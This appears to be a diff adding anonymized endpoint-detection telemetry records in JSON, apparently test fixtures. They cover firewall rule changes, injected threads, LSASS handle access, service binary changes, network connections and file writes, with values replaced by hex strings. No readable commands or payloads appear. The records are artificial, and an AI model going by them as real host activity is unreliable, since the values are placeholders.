+{"event_simpleName":"FileRenameInfo","ContextTimeStamp":"1758191223.574","ConfigStateHash":"40820000","ContextProcessId":"50314320728270","SourceFileName":"\\6ba0bd\\539d13bb\\303abfe3\\64211dc1\\4feae\\49830210.WibuCmActDyn","ContextThreadId":"794611930067120","aip":"81.2.69.142","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","TreeId":"407060334007","Entitlements":"36","name":"f4407c8e4882cbdd","EventOrigin":"3","id":"2d662aa35187373d94203d08fc2e4e7115c6","EffectiveTransmissionClass":"3","aid":"ca48acb776296fd7a6e35ee8c4bbde6d","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\539d13bb\\303abfe3\\64211dc1\\4feae\\754cfa0e.TMP"} +{"event_simpleName":"FileSystemOperationDetectInfo","ContextTimeStamp":"1761719307.584","ConfigStateHash":"710307050","TemplateDisposition":"40","ContextProcessId":"1000790287600","FileSystemOperationType":"3","TemplateInstanceId":"57521","aip":"216.160.83.56","FsOperationClassification":"67","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","CommandLine":"6725e7","FsOperationClassificationFlags":"1","PatternId":"24871","ImageFileName":"6725e7","Entitlements":"66","name":"b22ddf4c03b1a8b30f84e33786dd87b","EventOrigin":"1","id":"ad8c2e5d31cff1e8cdc3892a874ba4927d1a","EffectiveTransmissionClass":"3","aid":"ca2eedaa43a7333759deb5a0191c5313","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\447b992c\\9134161b\\b169fe25\\71e36eee\\ce423a9b\\a5e333\\3ec061.sst"} +{"event_simpleName":"FirewallChangeOption","ContextTimeStamp":"1754850825.482","ConfigStateHash":"900805208","FirewallProfile":"1","ContextProcessId":"3001999016003","aip":"89.160.20.128","FirewallOption":"78415d0f02a966","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","Entitlements":"36","name":"bd2f52430b3a6e28fa81dc","EventOrigin":"45","id":"ee4fea12623693e1e2aaf450974ca9068925","FirewallOptionNumericValue":"1","EffectiveTransmissionClass":"3","aid":"ee24e7d1ac6add25f7a7969844ad0df3","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"} +{"event_simpleName":"FirewallDeleteRule","ContextTimeStamp":"1747634138.862","ConfigStateHash":"900805208","ContextProcessId":"2001999016003","aip":"89.160.20.112","FirewallRuleId":"{e3b0c442-e3b0-e3b0-e3b0-e3b0c44298fc}","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","Entitlements":"96","name":"73c6cc568a65a7c085e0","EventOrigin":"45","id":"4ee907bd437184018039dbce46b3b7fb9586","EffectiveTransmissionClass":"3","aid":"ee24e7d1ac6add25f7a7969844ad0df3","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"} +{"event_simpleName":"FirewallSetRule","ContextTimeStamp":"1751555238.829","ConfigStateHash":"900805208","ContextProcessId":"1001999016003","aip":"81.2.69.144","FirewallRuleId":"{e3b0c442-e3b0-e3b0-e3b0-e3b0c44298fc}","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","Entitlements":"26","name":"e6fc8b7f15db47d1f","EventOrigin":"45","id":"b03302898ff47ac683fe0c4e7679c48615d2","EffectiveTransmissionClass":"3","aid":"ee24e7d1ac6add25f7a7969844ad0df3","FirewallRule":"fb.26|Action=Allow|Active=TRUE|Dir=In|App=C:\\8027a4f5\\97cf27ba\\bc713e9c\\685ac68f.exe|Name=LaunchPortal|Desc=SOM|","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"} +{"Options":"94007005","ContextThreadId":"50000395917240","MinorFunction":"0","aip":"216.160.83.56","Information":"1","FileIdentifier":"8b4857694cc53ad00ce1993ae1b2f7dd7e2cb5d73383c306","FltRelatedObjects":"32460687653001750097","event_platform":"Win","ShareAccess":"5","EventOrigin":"1","FltCompletionContext":"53130800032000003010","id":"92f7671f25cc7e1d6c1c2c3958b4a65c9c49","FileObject":"0","EffectiveTransmissionClass":"3","FileAttributes":"0","timestamp":"1743508799999","Status":"0","event_simpleName":"FsPostOpenSnapshotFile","ContextTimeStamp":"1749818799.590","ConfigStateHash":"8080600092","ContextProcessId":"7127089080000","IrpFlags":"2500","HandleCreateAuthenticationId":"830","FltCallbackData":"20591370484490000796","ConfigBuild":"2c8b.4.ae3729d.e6","FileEcpBitmask":"0","MajorFunction":"0","DesiredAccess":"3900073","SourceEventUniqueId":"903600070008873043","Entitlements":"96","name":"c7a00dc61cb10ab411c95598","OperationFlags":"0","aid":"d3a1c99f621d3d6474555746950ce9b6","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\da2d906a\\d598026\\dc9ec376\\b79606\\be8"} +{"aip":"81.2.69.144","event_platform":"Win","TokenType":"2","EventOrigin":"45","InterfaceGuid":"d1c8f153a6a851a17b18fe88f1dbdc9254bf","RpcClientProcessId":"9757071607353","id":"c7017a5199f1e88eb4a44227da2d1a7c8b0d","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"HostedServiceStarted","TargetThreadId":"482081070860200","ContextTimeStamp":"1753416061.221","UserName":"f3c32fdf5aef1041","ConfigStateHash":"3440491101","InterfaceVersion":"0","RpcClientThreadId":"415000840610900","AuthenticationId":"903030080","ServiceDisplayName":"8a7cb45","ConfigBuild":"2c8b.4.ae3729d.e6","TargetProcessId":"6009006000008","ImageFileName":"\\6ba0bd\\447b992c\\d598026\\dc9ec376\\8a7cb45.dll","RpcOpNum":"60","Entitlements":"76","name":"10e85fd7df0a53c38814f5","aid":"22924ad875ce834067bd29857dc11a92","RpcNestingLevel":"1","cid":"4092825518eaf67377a6e4492ae44577"} +{"event_simpleName":"HostedServiceStopped","TargetThreadId":"51930000290120","ContextTimeStamp":"1758159357.606","ConfigStateHash":"3440491101","aip":"89.160.20.112","ServiceDisplayName":"61b6fb","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","TargetProcessId":"2762512126120","Entitlements":"66","name":"c503d72ad653c0dc87f730","EventOrigin":"1","id":"db2dfa574e4ca1c775249f4fae390c93c57f","EffectiveTransmissionClass":"3","aid":"0400bce96c16b71f27978572adb3d4fd","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"} +{"TemplateInstanceId":"5008","aip":"89.160.20.112","HttpRequestHeader":"94cd/394e821c.html HTTP/76a3503a/1b8d6be3/00c0ab07/2cfb9ad5/4e2e1f0b","event_platform":"Win","PatternId":"28450","EventOrigin":"1","id":"5c80fd2a838414022b2f083219c6395b3c6a","ParentCommandLine":"82\\ab7e5c1\\c39d646f.EXE","EffectiveTransmissionClass":"2","timestamp":"1743508799999","HttpInternalSource":"2","event_simpleName":"HttpRequestDetect","ContextTimeStamp":"1754127300.344","UserName":"30d376","ConfigStateHash":"9382309105","ContextProcessId":"4064545006008","HttpUrl":"08cf20/7773b6bd.com/394e821c.html","ConfigBuild":"2c8b.4.ae3729d.e6","CommandLine":"54d\\9134161b\\033b4ae8\\44cb\\440b7488\\0dc8e72.EXE\" /n \"C:\\6b0cc\\30d376\\c4deb08f\\23555a08\\4c840c73.docx\" /o \"\"","ImageFileName":"\\6ba0bd\\447b992c\\9134161b\\033b4ae8\\4813\\440b7488\\0dc8e72.EXE","Entitlements":"36","name":"8d879a136063d7587c6","aid":"561ee5011fb41796a5d3d22ecc19d681","HttpMethod":"1","cid":"4092825518eaf67377a6e4492ae44577"} +{"ModuleCharacteristics":"86","ContextThreadId":"137030102310","aip":"81.2.69.144","OriginalEventTimeStamp":"1749976122.404","SHA1HashData":"9692067083780606753097782045800757094700","event_platform":"Win","MappedFromUserMode":"1","AuthenticodeHashData":"1025d90d282279e79ede14c4a4916f7c17aa3ac6d2dedb71a5d729a286742c36","EventOrigin":"1","id":"f5638ae317f9e090033436354c7cf5d36549","EffectiveTransmissionClass":"3","ModuleSize":"40360682","timestamp":"1743508799999","event_simpleName":"ImageHash","ContextTimeStamp":"1752117943.580","ConfigStateHash":"5900030004","ContextProcessId":"10705000160","MD5HashData":"896a7b972e546354ae731504897bb216","SHA256HashData":"b04af825f79214304a15028ec496fa629750d2998376793532f6bb3629262fd9","ConfigBuild":"2c8b.4.1403a74.4f","TargetProcessId":"10705000160","ImageFileName":"\\6ba0bd\\447b992c\\9134161b\\42955da6\\10b3abfd\\27b5ee41\\dad56584.exe","Entitlements":"16","name":"dccbe56e7b3","PrimaryModule":"1","aid":"64cded9cf5ef1c609147019ee3184217","SignInfoFlags":"1754009","cid":"4092825518eaf67377a6e4492ae44577"} +{"ThreadStartAddress":"947500501770690","InjectedThreadFlag":"430","ContextThreadId":"140004900194068","aip":"81.2.69.192","event_platform":"Win","UserThread":"1","TargetThreadModule":"\\63dc8ea2\\1c329924.dll","EventOrigin":"1","id":"5677e0f1c2f59a879c8c966e3f2583d1b374","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"InjectedThread","TargetThreadId":"505479000700240","RawProcessId":"7310","ContextTimeStamp":"1749520856.920","ConfigStateHash":"240271348","ContextProcessId":"3006607000981","ThreadStartContext":"5177300087920","ConfigBuild":"2c8b.4.ae3729d.e6","TargetProcessId":"3000303437040","Entitlements":"36","name":"367b7572c21bead4","RawThreadId":"5008","aid":"8fb3daf730de8e73c353f0c4137a51b5","SourceThreadStartAddress":"984100382000810","cid":"4092825518eaf67377a6e4492ae44577"} +{"FileOperatorSid":"S-96058-21257-98492","ContextBaseFileName":"d3571e48e3804d61a8d8f51","FileCategory":"1","Size":"58518","ContextThreadId":"60020000009454","MinorFunction":"0","aip":"216.160.83.56","IsOnNetwork":"0","FileIdentifier":"f6d5e5fb805bf40c0b18541da19518120e0c8b72f04940a8","event_platform":"Win","TokenType":"1","EventOrigin":"1","DiskParentDeviceInstanceId":"835\\7f136004\\03bd69ab","id":"162ec74e6e37e7616a81feca0a38cbc4e060","FileObject":"0","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"JarFileWritten","ContextTimeStamp":"1762090431.810","ConfigStateHash":"90089570","ContextProcessId":"3097482600003","IrpFlags":"0","SHA256HashData":"c2b46dde427de7e0b28c82cdeedc919d8a60e3c8fdcb1565b03b26d576b7f503","AuthenticationId":"830","FileWrittenFlags":"0","ConfigBuild":"2c8b.4.ae3729d.e6","FileEcpBitmask":"0","MajorFunction":"0","IsOnRemovableDisk":"0","Entitlements":"66","name":"45bc1cac0e68ad976","OperationFlags":"0","aid":"e8709208d980534971098b9a6fb8cf05","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\74d33d26\\d598026\\d62f\\c337ca0.tmp_dir1745907951\\4fad1919.jar"} +{"FileOperatorSid":"S-93967-95057-39657-2269-87803-54839-16636","ContextBaseFileName":"939905f021b64c","FileCategory":"6","Size":"5007","MinorFunction":"0","ContextThreadId":"67010543097020","aip":"81.2.69.192","IsOnNetwork":"0","FileIdentifier":"f9187305c797616a091da12f20ae9d2efa91b48088627f5e","event_platform":"Win","TokenType":"1","EventOrigin":"1","DiskParentDeviceInstanceId":"835\\b9e65ff8\\fb6901a4","id":"f1d9633f3c4c1752450748ee02e070b772d4","FileObject":"0","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"JavaClassFileWritten","ContextTimeStamp":"1750434917.905","ConfigStateHash":"3440491101","ContextProcessId":"568260708421","IrpFlags":"0","AuthenticationId":"9006720370","FileWrittenFlags":"0","ConfigBuild":"2c8b.4.ae3729d.e6","FileEcpBitmask":"0","MajorFunction":"0","IsOnRemovableDisk":"0","Entitlements":"36","name":"f5ccfb1a5e748e3a1361b9","OperationFlags":"0","aid":"2a5a4e5c2a642c985c06f8a712f54c03","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\3edfbf1f\\77d9dc83\\6f9505f\\d6c5e3b\\d199e12\\bba61ca6\\2d931c68.class"} +{"ThreadStartAddress":"7506925004555","InjectedThreadFlag":"940","ContextThreadId":"7029002010518039","aip":"216.160.83.56","event_platform":"Win","UserThread":"1","EventOrigin":"1","id":"5c016fbc5910db79ac911556c19d9efb88c6","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"JavaInjectedThread","TargetThreadId":"8976303018009002","RawProcessId":"60037","ThreadStartBytes":"9ccbd43213c4cce128ebb1afece9b6e1fc1fa5975d32a036fd154b43248f43de","ContextTimeStamp":"1750712370.441","ConfigStateHash":"1080600092","ContextProcessId":"210000852854060","ThreadStartContext":"7031100880000","ConfigBuild":"2c8b.4.ae3729d.e6","TargetProcessId":"800000030087834","Entitlements":"36","name":"cad7121649b58818d895","RawThreadId":"50455","aid":"2278e50b41a263c2d8421b5135a380a7","SourceThreadStartAddress":"270106100035044","cid":"4092825518eaf67377a6e4492ae44577"} +{"ValidLifetime":"0","OutOctets":"0","MaxReassemblySize":"0","MediaConnectState":"0","InterfaceMtu":"9560","NlMtu":"0","NetworkGuid":"76f651e25d18ba610cf7770da4e745f9886b","InterfaceAlias":"937aad95bcccd8cfa1a93b7bb9c5a2ead","InDiscards":"0","InBroadcastOctets":"0","InterfaceIndex":"0","InterfaceFlags":"0","PermanentPhysicalAddress":"84-83-02-18-52-28-63-e2-04-16-69-91-78-74-82-30-57-61-38-46-31-03-72-60-27-38-22-88-69-31-67-60","DadState":"0","InterfaceType":"0","MinRouterAdvertisementInterval":"0","EventOrigin":"1","MediaType":"46","id":"b1ba5664a59d4ed815268b354ba0a8ca20f4","AddressFamily":"0","LocalIpAddressPipelineSource":"6","ReceiveLinkSpeed":"300785","AccessType":"4","event_simpleName":"LocalIpAddressIP6","PathMtuDiscoveryTimeout":"0","OutDiscards":"0","LocalAddressIP6":"2a02:cf40::1","IpEntryFlags":"0","PreferredLifetime":"0","ConnectionType":"1","DadTransmits":"0","OperStatus":"2","PhysicalAddress":"99-24-19-28-16-80-11-f3-87-25-11-47-34-01-86-69-80-62-83-83-76-34-14-74-17-18-88-22-65-31-79-46","RouteOrigin":"0","InUnknownProtos":"0","OutErrors":"0","DirectionType":"0","InOctets":"0","Entitlements":"86","name":"a01d5ce18dcbf077bc4","RouteAge":"0","InUcastOctets":"0","aid":"8b33228d110f333bb96bb91288f6d8ad","cid":"4092825518eaf67377a6e4492ae44577","IfType":"0","OutUcastOctets":"0","RetransmitTime":"0","SuffixOrigin":"0","InMulticastOctets":"0","OutBroadcastOctets":"0","CreationTimeStamp":"","LinkLocalAddressBehavior":"0","aip":"89.160.20.112","BaseReachableTime":"0","InErrors":"0","RouterDiscoveryBehavior":"0","LinkLocalAddressTimeout":"0","RouteMetric":"0","event_platform":"Win","SitePrefixLength":"0","TransmitLinkSpeed":"300785","PhysicalAddressLength":"72","InUcastPkts":"0","EffectiveTransmissionClass":"2","PrefixOrigin":"0","timestamp":"1743508799999","SkipAsSource":"0","AdminStatus":"2","OnLinkPrefixLength":"0","TunnelType":"0","ConfigStateHash":"9968901000","InterfaceDescription":"f59e6603c99b77bc826e67f3133aa91ba4","InterfaceIdentifier":"0","ScopeLevel":"0","PrefixLength":"0","OutUcastPkts":"0","NetworkInterfaceGuid":"c5b6c77ed6710604982c8df8956c7d308373","ScopeZone":"0","ConfigBuild":"2c8b.4.ae3729d.e6","PhysicalMediumType":"0","NetLuidIndex":"0","InNUcastPkts":"0","MaxRouterAdvertisementInterval":"0","Metric":"0","ReachableTime":"0","OutMulticastOctets":"0","OutNUcastPkts":"0"} +{"event_simpleName":"LocalIpAddressRemovedIP6","LocalAddressIP6":"2a02:cf40::2","ConfigStateHash":"9968901000","aip":"89.160.20.128","InterfaceIndex":"0","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","NetLuidIndex":"0","Entitlements":"76","name":"872932933dab2f183b4ce071bd","EventOrigin":"1","id":"46389a39e57e9b858db2074d5f94ec7a526d","LocalIpAddressPipelineSource":"6","EffectiveTransmissionClass":"3","aid":"8b33228d110f333bb96bb91288f6d8ad","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"} +{"ContextThreadId":"53282469092040","aip":"81.2.69.142","PublicKeys":"0","event_platform":"Win","EventOrigin":"1","id":"6fa27f66ec6a05ff162d3ee4962108a1518e","HandleCreated":"0","EffectiveTransmissionClass":"3","timestamp":"1743508799999","Status":"0","event_simpleName":"LsassHandleFromUnsignedModule","ContextTimeStamp":"1752433670.075","ConfigStateHash":"3440491101","ContextProcessId":"617055030004","SHA256HashData":"7b289396ef4bdcf4e4c3d55c81c2090a8735fa93c9a58e5c538ae65e58a1b243","ExtendedKeyUsages":"1","FileSigningTime":"1696360530.000","ConfigBuild":"2c8b.4.ae3729d.e6","Object1Name":"","TargetProcessId":"330096244003","DesiredAccess":"2336","ImageFileName":"\\6ba0bd\\6cf19058\\9134161b\\4b9430\\6cf901c9\\d89a3e44.exe","Entitlements":"66","name":"a94954f7ef7b687d2b265ac33c34fe0","aid":"84bd7271911c13b227952666802a3e71","SignInfoFlags":"932000","Object1Type":"85300006300503060726","cid":"4092825518eaf67377a6e4492ae44577","Certificate":""} +{"event_simpleName":"ModifyServiceBinary","ContextTimeStamp":"1758171248.217","ConfigStateHash":"8200073020","ContextProcessId":"603000080603277383","ServiceDescription":"4329d830\\4a6a0a4b\\4b8e4186.dll,-101","ContextThreadId":"108300250532070103","aip":"216.160.83.56","ServiceSecurity":"1c31d/23092a59","ServiceImagePath":"6d7f6dfd4f514f59d14a90da6a661a3 -2 d140261e9173 -5","ServiceDisplayName":"7a476391b5908bfed8e3c37","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","ServiceStart":"3","ServiceType":"840","Entitlements":"16","name":"381f30fed8ec4c276ba29","EventOrigin":"1","ServiceFailureActions":"370906160706958900210000200600006090810303901200700052903087003011111111","id":"f65e6994cc640f2778a1b7af2c40ba921473","ServiceErrorControl":"1","EffectiveTransmissionClass":"3","aid":"c82cce517ab3200fde3ca362e648c993","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"} +{"ContextThreadId":"28260411703000","aip":"216.160.83.56","ShareName":"cb8652cba4df7f900","event_platform":"Win","EventOrigin":"1","InterfaceGuid":"6934fcb718b8c1c32c1f9fbbd4bc4e6c7a0c","RpcClientProcessId":"400050400700","id":"c805aeef64230eaf7cd53c8a881aa4e8405a","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"NetShareSecurityModify","ContextTimeStamp":"1756110899.866","UserName":"5f112a78ce366","ConfigStateHash":"8602068629","ContextProcessId":"409640218507","InterfaceVersion":"230092","AuthenticationId":"830","ShareSecurity":"1c31d/825bda18","ConfigBuild":"2c8b.4.a5bcbac.e6","RpcOpNum":"45","Entitlements":"26","name":"e6b491ccab8fa73b85131f75","aid":"3daf1fabea580837c4adcda08036d084","ShareSecuritySddl":"1c31d/aeb465b9","RpcNestingLevel":"0","cid":"4092825518eaf67377a6e4492ae44577"} +{"ContextBaseFileName":"b95ddafd92696f0e5a","aip":"216.160.83.56","event_platform":"Win","EventOrigin":"1","id":"0fc45c7ed982785c2b6da8717ddcefdcd273","Protocol":"6","EffectiveTransmissionClass":"3","InContext":"0","timestamp":"1743508799999","LocalAddressIP4":"81.2.69.142","event_simpleName":"NetworkConnectIP4","ContextTimeStamp":"1762067162.385","ConfigStateHash":"710307050","ConnectionFlags":"0","ContextProcessId":"6550917119400","RemotePort":"600","ConfigBuild":"2c8b.4.ae3729d.e6","LocalPort":"60181","Entitlements":"56","name":"13f26050a8e2372ba812","aid":"fd2a2839c2fb96079cb3c756f823e196","RemoteAddressIP4":"89.160.20.128","RemoteAddressString":"3b0cf5a207bde73b","ConnectionDirection":"0","cid":"4092825518eaf67377a6e4492ae44577"} +{"ContextBaseFileName":"b971114518c9","RemoteAddressIP6":"2a02:cf40::1","aip":"81.2.69.142","event_platform":"Win","EventOrigin":"1","id":"473484e6b33fdbe4e7274bc98a2365ad9e88","Protocol":"6","EffectiveTransmissionClass":"3","InContext":"0","timestamp":"1743508799999","event_simpleName":"NetworkConnectIP6","ContextTimeStamp":"1746290444.357","LocalAddressIP6":"2a02:cf40::2","ConfigStateHash":"205997984","ConnectionFlags":"0","ContextProcessId":"4093698090473","RemotePort":"600","ConfigBuild":"2c8b.4.ae3729d.e6","LocalPort":"45200","Entitlements":"56","name":"f35a9bcaa84e44df3194","aid":"bfc5af54b43f2802d6e18297ab82e810","RemoteAddressString":"2a02:cf40::1","ConnectionDirection":"0","cid":"4092825518eaf67377a6e4492ae44577"} +{"LocalAddressIP4":"89.160.20.128","event_simpleName":"NetworkListenIP4","ContextTimeStamp":"1762579185.012","ConfigStateHash":"3440491101","ConnectionFlags":"0","ContextProcessId":"1373030025759","RemotePort":"0","ContextThreadId":"351980000701043","aip":"81.2.69.144","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","LocalPort":"73001","Entitlements":"66","name":"3e63bd7ad348fcf149d","EventOrigin":"1","id":"414d7d4c948639bd127ede963b8cd7f205d5","Protocol":"6","EffectiveTransmissionClass":"3","aid":"deb2fe5b3c4891f857b3d5cb68f4d47f","RemoteAddressIP4":"216.160.83.56","ConnectionDirection":"2","InContext":"0","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"} +{"event_simpleName":"NetworkListenIP6","ContextTimeStamp":"1756453330.351","LocalAddressIP6":"2a02:cf40::1","RemoteAddressIP6":"2a02:cf40::2","ConfigStateHash":"750096004","ConnectionFlags":"0","ContextProcessId":"6002550902534","RemotePort":"0","ContextThreadId":"400604050757015","aip":"216.160.83.56","ConfigBuild":"2c8b.4.bab7095.e6","event_platform":"Win","LocalPort":"1049","Entitlements":"96","name":"32e9d89e356847ad161","EventOrigin":"1","id":"6571a795f2d49a994f8fc3840f9780f9a9d8","Protocol":"6","EffectiveTransmissionClass":"3","aid":"fe88182661659af8a192fac5db624574","ConnectionDirection":"2","InContext":"0","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"} +{"LocalAddressIP4":"216.160.83.56","ContextBaseFileName":"8e8eab0b4bf","event_simpleName":"NetworkReceiveAcceptIP4","ContextTimeStamp":"1749621637.544","ConfigStateHash":"710307050","ConnectionFlags":"0","ContextProcessId":"4700009307800","RemotePort":"60702","aip":"89.160.20.112","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","LocalPort":"1049","Entitlements":"56","name":"4ccf568bd7cda1587d77b69c3f","EventOrigin":"1","id":"6944305135f71ae54b685de925bc80d24162","Protocol":"6","EffectiveTransmissionClass":"3","aid":"359d1a3764bc9914314c10bbe07b0ee5","RemoteAddressIP4":"89.160.20.128","ConnectionDirection":"1","InContext":"0","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"} +{"ContextBaseFileName":"8e8eab0b4bf","event_simpleName":"NetworkReceiveAcceptIP6","ContextTimeStamp":"1747626245.373","LocalAddressIP6":"2a02:cf40::1","RemoteAddressIP6":"2a02:cf40::2","ConfigStateHash":"710307050","ConnectionFlags":"0","ContextProcessId":"2000180444147","RemotePort":"8340","aip":"89.160.20.128","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","LocalPort":"7340","Entitlements":"36","name":"0f701c259d2d9d9e15dbcf1339","EventOrigin":"1","id":"2de192320bb03a0e9990059a2895376d0213","Protocol":"45","EffectiveTransmissionClass":"3","aid":"15d126c11ad8c113dec6e819ca553cf7","ConnectionDirection":"1","InContext":"0","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"} +{"ContextThreadId":"703603693040462","MinorFunction":"0","aip":"81.2.69.192","FileIdentifier":"990200511957122000670029061067970349454003500200","event_platform":"Win","NewFileIdentifier":"1d0d53208eb718270bdec907f1debfa0a9e88658a55f9330","EventOrigin":"1","id":"3576a8f1eee99ef99a90b644fac69ef96052","FileObject":"0","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"NewExecutableRenamed","ContextTimeStamp":"1758496164.011","ConfigStateHash":"710307050","ContextProcessId":"6670000954191","SourceFileName":"\\6ba0bd\\447b992c\\d598026\\dc9ec376\\a715181\\b169fe25\\d5fdc1af\\b62491c6","IrpFlags":"100651","ConfigBuild":"2c8b.4.ae3729d.e6","MajorFunction":"6","Entitlements":"66","name":"b64d07a4710e4a075cd1f1","OperationFlags":"0","aid":"39074f37291ca6f2d189c1e110e04dfc","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\447b992c\\d598026\\dc9ec376\\a715181\\b169fe25\\40a20853\\b19eb57e.exe\\b62491c6\\6ffbd0fe.exe"} +{"ContextBaseFileName":"7592a3326e8f","Options":"50000230","ContextThreadId":"290000250300138","MinorFunction":"0","aip":"81.2.69.144","Information":"2","FileIdentifier":"069e4fe6f4d10f0e30f24838e1fd3eeab84cda3de7ec491c","event_platform":"Win","ShareAccess":"3","EventOrigin":"1","id":"159069fcc959600bb67b1d499fbba75e246f","FileObject":"0","EffectiveTransmissionClass":"3","FileAttributes":"0","timestamp":"1743508799999","Status":"0","event_simpleName":"NewExecutableWritten","ContextTimeStamp":"1747496883.062","ConfigStateHash":"9080600092","ContextProcessId":"6609070495594","IrpFlags":"2500","ContextImageFileName":"\\6ba0bd\\447b992c\\d598026\\1c467339.exe","ConfigBuild":"2c8b.4.ae3729d.e6","FileEcpBitmask":"0","MajorFunction":"0","DesiredAccess":"4250080","Entitlements":"76","name":"df0d670fd6fc4521a6c960","OperationFlags":"0","aid":"e4a077554af537da06f56e39976d4420","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\447b992c\\6b0cc\\08cfe5\\0f51ad6\\813ded8\\c7bac469\\d598026\\690dbe\\2e00f238.lnk"} +{"ContextBaseFileName":"481bc1a027f891f9b","Options":"66717670","ContextThreadId":"270140900130850060","MinorFunction":"0","aip":"89.160.20.128","Information":"3","FileIdentifier":"3983fc13457464a741b39fba5bb2260604ddb049477359f2","event_platform":"Win","ShareAccess":"1","EventOrigin":"1","id":"182d52dbecaca7970cb63c42addda760f512","FileObject":"0","EffectiveTransmissionClass":"3","FileAttributes":"0","timestamp":"1743508799999","Status":"0","event_simpleName":"NewScriptWritten","ContextTimeStamp":"1756143143.835","ConfigStateHash":"8200073020","ContextProcessId":"211820800920708240","IrpFlags":"2500","ContextImageFileName":"\\6ba0bd\\3edfbf1f\\303abfe3\\45ab82\\3ca2a2ce\\f89ea270\\d001f1d.4\\b5860c81.exe","ConfigBuild":"2c8b.4.ae3729d.e6","FileEcpBitmask":"0","MajorFunction":"0","DesiredAccess":"5060417","Entitlements":"66","name":"af0673bdd782d244e9c","OperationFlags":"0","aid":"d6c18cb814c9100d81bedd3b4290407f","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\3edfbf1f\\303abfe3\\45ab82\\3ca2a2ce\\481f1be1.config"} +{"FileOperatorSid":"S-72386-31002-81578-35580-81320-88994-11078","ContextBaseFileName":"7592a3326e8f","FileCategory":"2","Size":"70097","ContextThreadId":"290000250300138","MinorFunction":"0","aip":"89.160.20.128","IsOnNetwork":"0","FileIdentifier":"938e82c7b12a104fa76dcbeb0307793c9ec98bea974f8770","event_platform":"Win","TokenType":"1","EventOrigin":"1","DiskParentDeviceInstanceId":"835\\237ca1ff\\9f8125ec","id":"50b4564705009d4d899b257c4f60806debaf","FileObject":"0","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"OleFileWritten","ContextTimeStamp":"1754452910.026","ConfigStateHash":"9080600092","ContextProcessId":"3609070495594","IrpFlags":"0","AuthenticationId":"10050074","FileWrittenFlags":"0","ConfigBuild":"2c8b.4.ae3729d.e6","FileEcpBitmask":"0","MajorFunction":"0","IsOnRemovableDisk":"0","Entitlements":"36","name":"52f49e17cbb3258ec","OperationFlags":"0","aid":"e4a077554af537da06f56e39976d4420","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\447b992c\\6b0cc\\08cfe5\\0f51ad6\\813ded8\\c7bac469\\d598026\\690dbe\\e6e3e8fa\\5fcb82a8.automaticDestinations-ms"} +{"FileOperatorSid":"S-14916-87933-54904-21020-22768-89969-67859","ContextBaseFileName":"f8d3910f48a","FileCategory":"2","Size":"4008","ContextThreadId":"406830433040004","MinorFunction":"0","aip":"81.2.69.144","IsOnNetwork":"0","BoundingLimitCount":"10","FileIdentifier":"fe69780d23fffd9b5ea4d464cf4fe53f8d384cdc38b47460","event_platform":"Win","TokenType":"1","EventOrigin":"1","DiskParentDeviceInstanceId":"835\\4db87fa6\\901bda80","id":"fa7433e86a344c7c471c159189a5d9e46b61","FileObject":"0","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"OoxmlFileWritten","ContextTimeStamp":"1757793265.081","ConfigStateHash":"205997984","ContextProcessId":"3902807870001","IrpFlags":"0","AuthenticationId":"1046050","FileWrittenFlags":"0","ConfigBuild":"2c8b.4.ae3729d.e6","FileEcpBitmask":"0","MajorFunction":"0","IsOnRemovableDisk":"0","BoundingLimitDuration":"2486640","Entitlements":"16","name":"7233ba49d5aea975e9d","OperationFlags":"0","aid":"4274e60578e437f258cd288fc421c898","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\447b992c\\6b0cc\\6a5005c5\\0f51ad6\\8c31e\\d62f\\6\\9628fd57\\93\\697ee9b1.thmx"} 